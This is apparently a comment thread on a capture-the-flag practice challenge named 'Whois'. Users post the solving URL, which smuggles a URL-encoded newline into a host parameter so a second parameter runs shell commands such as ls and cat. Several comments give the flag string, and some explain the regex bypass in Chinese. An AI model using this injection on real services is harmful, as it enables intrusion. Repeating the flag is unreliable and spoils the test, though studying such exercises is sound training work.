Whois

Tao23 @ 2024-06-05 23:22:10 👍0

query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

to5ny @ 2024-05-14 23:22:10 👍1

/query.php?host=whois.verisign-grs.com%0a&query=ls /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

xzs297995 @ 2024-05-07 23:22:10 👍0

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

xiaoxiao972521 @ 2024-05-07 23:22:10 👍0

/query.php?host=whois.verisign-grs.com%0a&query=cat%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

15614005380 @ 2024-03-07 23:22:10 👍0

1.读php文件 2.分析出存在危险函数shell_exec 3.通过url编码换行绕过第一个参数host 4.第二个参数query可以输入rce。空格用url编码绕

unknown237819 @ 2024-02-07 23:22:10 👍2

在本题的正则匹配中，空格无法匹配$前的任何字符，所以%20是不可行的，if的条件都过不了；在whois.verisign-grs.com后加换行是可行的，不仅字符串本身可以过if，换行后相当于重新输命令，即query给出的参数直接执行命令

868954104 @ 2024-01-07 23:22:10 👍1

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065} /query.php?host=whois.verisign-grs.com%0a&query=cat+thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

vchopin @ 2023-12-07 23:22:10 👍0

shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

yituoshi @ 2023-11-07 23:22:10 👍0

Half the truth is often a big lie: thisistheflagwithrandomstuffthatyouwontguessJUSTCATSHE

1959272171 @ 2023-11-07 23:22:10 👍0

空格被过滤了用%20绕过

详情

Whois

去做题